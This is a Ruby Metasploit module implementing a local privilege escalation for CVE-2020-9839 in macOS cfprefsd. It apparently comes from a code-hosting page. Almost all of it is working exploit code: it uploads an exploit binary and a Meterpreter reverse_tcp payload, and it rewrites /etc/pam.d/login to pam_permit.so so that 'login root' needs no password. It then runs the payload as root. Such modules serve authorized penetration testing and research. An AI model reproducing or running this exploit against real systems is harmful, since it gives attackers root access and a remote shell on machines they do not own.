174 lines
5.9 KiB
Ruby
174 lines
5.9 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Local
|
|
Rank = ExcellentRanking
|
|
|
|
prepend Msf::Exploit::Remote::AutoCheck
|
|
include Msf::Post::File
|
|
include Msf::Post::OSX::Priv
|
|
include Msf::Post::OSX::System
|
|
include Msf::Exploit::EXE
|
|
include Msf::Exploit::FileDropper
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'macOS cfprefsd Arbitrary File Write Local Privilege Escalation',
|
|
'Description' => %q{
|
|
This module exploits an arbitrary file write in cfprefsd on macOS <= 10.15.4 in
|
|
order to run a payload as root. The CFPreferencesSetAppValue function, which is
|
|
reachable from most unsandboxed processes, can be exploited with a race condition
|
|
in order to overwrite an arbitrary file as root. By overwriting /etc/pam.d/login
|
|
a user can then login as root with the `login root` command without a password.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' => [
|
|
'Yonghwi Jin <jinmoteam[at]gmail.com>', # pwn2own2020
|
|
'Jungwon Lim <setuid0[at]protonmail.com>', # pwn2own2020
|
|
'Insu Yun <insu[at]gatech.edu>', # pwn2own2020
|
|
'Taesoo Kim <taesoo[at]gatech.edu>', # pwn2own2020
|
|
'timwr' # metasploit integration
|
|
],
|
|
'References' => [
|
|
['CVE', '2020-9839'],
|
|
['URL', 'https://github.com/sslab-gatech/pwn2own2020'],
|
|
],
|
|
'Platform' => 'osx',
|
|
'Arch' => ARCH_X64,
|
|
'DefaultTarget' => 0,
|
|
'DefaultOptions' => { 'WfsDelay' => 300, 'PAYLOAD' => 'osx/x64/meterpreter/reverse_tcp' },
|
|
'Targets' => [
|
|
[ 'Mac OS X x64 (Native Payload)', {} ],
|
|
],
|
|
'DisclosureDate' => '2020-03-18',
|
|
'Notes' => {
|
|
'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES],
|
|
'Reliability' => [REPEATABLE_SESSION],
|
|
'Stability' => [CRASH_SAFE]
|
|
},
|
|
'Compat' => {
|
|
'Meterpreter' => {
|
|
'Commands' => %w[
|
|
stdapi_sys_process_execute
|
|
]
|
|
}
|
|
}
|
|
)
|
|
)
|
|
register_advanced_options [
|
|
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
|
|
]
|
|
end
|
|
|
|
# rubocop:disable Style/ClassVars
|
|
@@target_file = '/etc/pam.d/login'
|
|
@@original_content = %q{# login: auth account password session
|
|
auth optional pam_krb5.so use_kcminit
|
|
auth optional pam_ntlm.so try_first_pass
|
|
auth optional pam_mount.so try_first_pass
|
|
auth required pam_opendirectory.so try_first_pass
|
|
account required pam_nologin.so
|
|
account required pam_opendirectory.so
|
|
password required pam_opendirectory.so
|
|
session required pam_launchd.so
|
|
session required pam_uwtmp.so
|
|
session optional pam_mount.so
|
|
}
|
|
@@replacement_content = %q{# login: auth account password session
|
|
auth optional pam_permit.so
|
|
auth optional pam_permit.so
|
|
auth optional pam_permit.so
|
|
auth required pam_permit.so
|
|
account required pam_permit.so
|
|
account required pam_permit.so
|
|
password required pam_permit.so
|
|
session required pam_permit.so
|
|
session required pam_permit.so
|
|
session optional pam_permit.so
|
|
}
|
|
# rubocop:enable Style/ClassVars
|
|
|
|
def check
|
|
version = Rex::Version.new(get_system_version)
|
|
if version > Rex::Version.new('10.15.4')
|
|
CheckCode::Safe
|
|
elsif version < Rex::Version.new('10.15')
|
|
CheckCode::Safe
|
|
else
|
|
CheckCode::Appears
|
|
end
|
|
end
|
|
|
|
def exploit
|
|
if is_root?
|
|
fail_with Failure::BadConfig, 'Session already has root privileges'
|
|
end
|
|
|
|
unless writable? datastore['WritableDir']
|
|
fail_with Failure::BadConfig, "#{datastore['WritableDir']} is not writable"
|
|
end
|
|
|
|
payload_file = "#{datastore['WritableDir']}/.#{rand_text_alphanumeric(5..10)}"
|
|
binary_payload = Msf::Util::EXE.to_osx_x64_macho(framework, payload.encoded)
|
|
upload_and_chmodx payload_file, binary_payload
|
|
register_file_for_cleanup payload_file
|
|
|
|
current_content = read_file(@@target_file)
|
|
@restore_content = current_content
|
|
|
|
if current_content == @@replacement_content
|
|
print_warning("The contents of #{@@target_file} was already replaced")
|
|
elsif current_content != @@original_content
|
|
print_warning("The contents of #{@@target_file} did not match the expected contents")
|
|
@restore_content = nil
|
|
end
|
|
|
|
exploit_file = "#{datastore['WritableDir']}/.#{rand_text_alphanumeric(5..10)}"
|
|
exploit_exe = exploit_data 'CVE-2020-9839', 'exploit'
|
|
upload_and_chmodx exploit_file, exploit_exe
|
|
register_file_for_cleanup exploit_file
|
|
|
|
exploit_cmd = "#{exploit_file} #{@@target_file}"
|
|
print_status("Executing exploit '#{exploit_cmd}'")
|
|
result = cmd_exec(exploit_cmd)
|
|
print_status("Exploit result:\n#{result}")
|
|
unless write_file(@@target_file, @@replacement_content)
|
|
print_error("#{@@target_file} could not be written")
|
|
end
|
|
|
|
login_cmd = "echo '#{payload_file} & disown' | login root"
|
|
print_status("Running cmd:\n#{login_cmd}")
|
|
result = cmd_exec(login_cmd)
|
|
unless result.blank?
|
|
print_status("Command output:\n#{result}")
|
|
end
|
|
end
|
|
|
|
def new_session_cmd(session, cmd)
|
|
if session.type.eql? 'meterpreter'
|
|
session.sys.process.execute '/bin/bash', "-c '#{cmd}'"
|
|
else
|
|
session.shell_command_token cmd
|
|
end
|
|
end
|
|
|
|
def on_new_session(session)
|
|
return super unless @restore_content
|
|
|
|
if write_file(@@target_file, @restore_content)
|
|
new_session_cmd(session, "chgrp wheel #{@@target_file}")
|
|
new_session_cmd(session, "chown root #{@@target_file}")
|
|
new_session_cmd(session, "chmod 644 #{@@target_file}")
|
|
print_good("#{@@target_file} was restored")
|
|
else
|
|
print_error("#{@@target_file} could not be restored!")
|
|
end
|
|
super
|
|
end
|
|
|
|
end
|